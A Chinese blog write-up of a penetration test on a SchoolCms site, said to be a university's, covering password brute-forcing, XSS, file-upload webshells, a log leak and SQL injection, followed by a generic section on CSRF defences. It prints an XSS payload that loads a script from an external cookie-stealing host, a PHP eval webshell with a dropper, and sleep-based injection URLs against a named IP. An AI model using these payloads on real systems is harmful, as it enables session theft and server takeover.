对于某高校网站的渗透测试

该文详细记录了对SchoolCms的渗透测试过程,包括信息收集、弱口令爆破、反射型和存储型XSS漏洞利用、文件上传漏洞的两种利用方式、日志泄露以及SQL注入的发现和利用。通过这些步骤,作者成功获得了服务器的shell权限,揭示了系统存在的安全隐患。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

SchoolCms漏洞渗透测试

信息收集

一、弱口令爆破

二、XSS

反射型XSS

存储型XSS

三、文件上传漏洞

站点配置-->站点设置存在文件上传点

主题管理--->主题安装存在文件上传

四、日志泄露

五、SQL注入

SchoolCms漏洞渗透测试

站点首页:

信息收集

 检索ip信息,扫描

 namp扫描端口

 信息收集,爆破目录

 使用御剑扫描

扫描端口

 通过爆破的目录,我们可以发现,目录下有一个压缩包,我们尝试下载

可下载:

 下载后打开,发现是网站的源码

一、弱口令爆破

尝试进入后台:

 进入后台,进行爆破密码
 爆破后台密码

首先尝试登录:尝试admin账号,密码随意

说明账号存在,但密码错误。

 接下来进行爆破密码
 抓包,将数据信息发给Intruder

使用狙击手模式。确定了用户,爆破密码。

选择密码字典

 等待过后,观察发现,发现不同的长度,尝试是否为密码

 密码正确,成功登录后台
 密码为lovelove

二、XSS

反射型XSS

 在后台的学生管理,成绩管理,教师管理,文章管理等多处,存在xss跨站脚本攻击
 以文章管理为例,此处为反射型XSS

 在文章管理处,发现一处存在xss
 获取cookie信息

 
在交换框当中输入攻击语句
 </tExtArEa>'"><sCRiPt sRC=//xss.yt/nFtJ></sCrIpT>
 ​
 在xss平台查看动态

 复制对应的url和cookie信息,看是否能够实现跳转
 回到网站的首页

 执行成功后,成功跳转到网站的后台

存储型XSS

 xss存储型

 前端界面,出现弹窗

 每个对应的栏都会出现弹窗,存在存储型XSS

三、文件上传漏洞

站点配置-->站点设置存在文件上传点

 方式一:
 上传文件,验证是否能被解析,写入一个木马,直接进行连接
 ​
 方式二:
 创建木马文件,写入木马,进行连接

 验证是否存在文件上传漏洞,获取服务器的shell

 接下来我们进行抓包,将php语句插入到图片的后面,看服务器是否能解析

 将php语句插入到图片当中,然后放包即可

 接下来到文件上传点,鼠标右键点击检查,查看代码,找到文件的上传点,访问试试

 接下来我们进行访问此上传文件的链接
 不难发现我们上传的文件变成了.php文件

 访问链接后,发现此文件当中的php语句已经被解析

 同理,我们可以将php测试语句换成php一句话木马,直接使用蚁剑进行连接

 抓包获取数据,将php一句话木马写进图片码当中

 追加一句话木马

 同理,去找到文件上传的对应链接,然后去访问

 打开hackbar,执行php语句,看是否能被解析

 通过蚁剑去连接

 成功拿到服务器shell

方式二,在文件上传的目录下,去创建一个木马文件,并写入木马,相同的原理,之不过就是在图片码的后面,加上一句php创建并写入文件的语句
 ​
 <?php fwrite(fopen("shell.php","w"),'<?php @eval($_POST["lc"]);?>');?>
 ​
 方法同以上一致,依旧抓包获取数据,将以上的语句插入到图片码当中去

 放包以后,再去访问

 我们猜测php语句已经被执行,接下来进行查看

访问上传路径下的文件,查看文件是否创建成功。

 尝试切换到我们创建的文件当中去,来访问,输入php语句是否能被解析

 成功被解析,通过哥斯拉连接,连接成功

 成功拿到服务器shell

可查看服务器目录下的所有内容,可进行增加、修改和删除等等一系列操作!

主题管理--->主题安装存在文件上传

 尝试上传压缩包

经过分析,将一张图片和一个php木马文件整合成一个文件夹,命名为shell_Html,然后打包压缩。

接下来进行上传:

 抓包获取数据包信息,修改数据包,修改类型为zip,然后放包

 验证是否上传成功,查看上传点

根据分析源码,该压缩包上传会被解压,解压后,文件夹会被拆开,然后拼接成文件,拼接的文件为文件夹(XX_Html)名中的XX+文件原来的名称。这里是shell_Html。所以文件名被修改为shellcmd.php和shellshell.png

 通过观察可知道,主题上传的路径为
 Application\Home\View\
 ​
 尝试访问新上传的文件夹当中的文件
 Application\Home\View\shellcmd.php
 看是否能被解析

 php语句被成功解析
 使用第三方工具,蚁剑或者哥斯拉进行连接,获取shell

成功获取服务器shell

 成功获取服务器的shell,连接成功

回到服务器当中去查看验证:

成功上传,并成功获取了权限。

四、日志泄露

 
通过尝试验证,发现日志泄露
 url地址:
 http://43.143.169.215/Application/Runtime/Logs/Home/23_05_23.log ---跟日期 年份_月份_日期.log
 ​
 访问过后,成功回显。并下载

 查看下载后的日志内容

五、SQL注入

通过尝试,结果观察,发现后台存在sql注入点
 ​
 注入点:
 index.php?m=Admin&c=Article&a=SaveInfo
 ​
 注入语句:
 index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(10)--+
 ​
 访问:
 http://43.143.169.215/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(10)--+

延迟后显示:

抓包看其变化:

正常下:

注入后:

成功延时

第二处注入点:

http://ip/schoolcms/index.php?m=Admin&c=Article&a=Index
 此次存在sql注入,执行删除操作时进行抓包查看其变化
 ​
 注入点:
 http://ip/schoolcms/index.php?m=Admin&c=Article&a=Delete的数据包当中,
 在数据包修改原始数据
 添加id[where]=id=1+or+sleep(5)

执行删除的操作,观察url信息变化,抓包抓取数据信息,修改数据包,尝试sql注入。

正常情况下:

注入后:

sleep()中的延迟时间随意。

修改完后,放包观察其变化

成功延时

解码后:

文章不妥之处,欢迎批评指正! 

### SchoolCMS 中的 CSRF 漏洞解决方案 #### 使用同步器令牌模式 一种有效的方法是采用同步器令牌模式来预防跨站请求伪造攻击。在这种方法下,服务器端会在会话期间生成一个随机且唯一的密钥作为同步器令牌,并将其存储于用户的会话状态中。当客户端发起任何修改应用状态的操作时,都需附带此令牌一同提交给服务端验证。如果缺少该令牌或其值不匹配,则拒绝处理相应的操作请求[^1]。 ```html <form action="/submit" method="POST"> <!-- 隐藏字段用于携带同步器令牌 --> <input type="hidden" name="_csrf_token" value="{{ csrfToken }}"> </form> ``` #### 校验 HTTP 请求头中的来源信息 除了利用同步器令牌外,还可以通过校验HTTP `Referer` 或者 `Origin` 头部信息来进行防护。合法的请求通常来自同一源站点,因此可以设置规则只允许特定域名下的页面发出的数据交互请求被接受;而对于那些缺失这些头部信息或是来源于其他域的请求则应予以拦截并返回错误响应码。 ```javascript // Express.js中间件示例代码片段 app.use((req, res, next) => { const origin = req.headers.origin; if (!origin || !allowedOrigins.includes(origin)) { return res.status(403).send('Invalid Origin'); } next(); }); ``` #### 加强身份认证机制 对于涉及重要业务逻辑的功能模块,在执行前应当再次确认当前登录账户的身份真实性。这可以通过重新输入密码、发送短信验证码等方式实现二次验证流程,从而进一步提高系统的安全性。 #### 教育用户安全意识 最后但同样重要的措施是对最终用户提供必要的网络安全教育指导,提醒他们注意防范钓鱼网站以及其他形式的社会工程学攻击手段,确保个人账号信息安全无虞。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值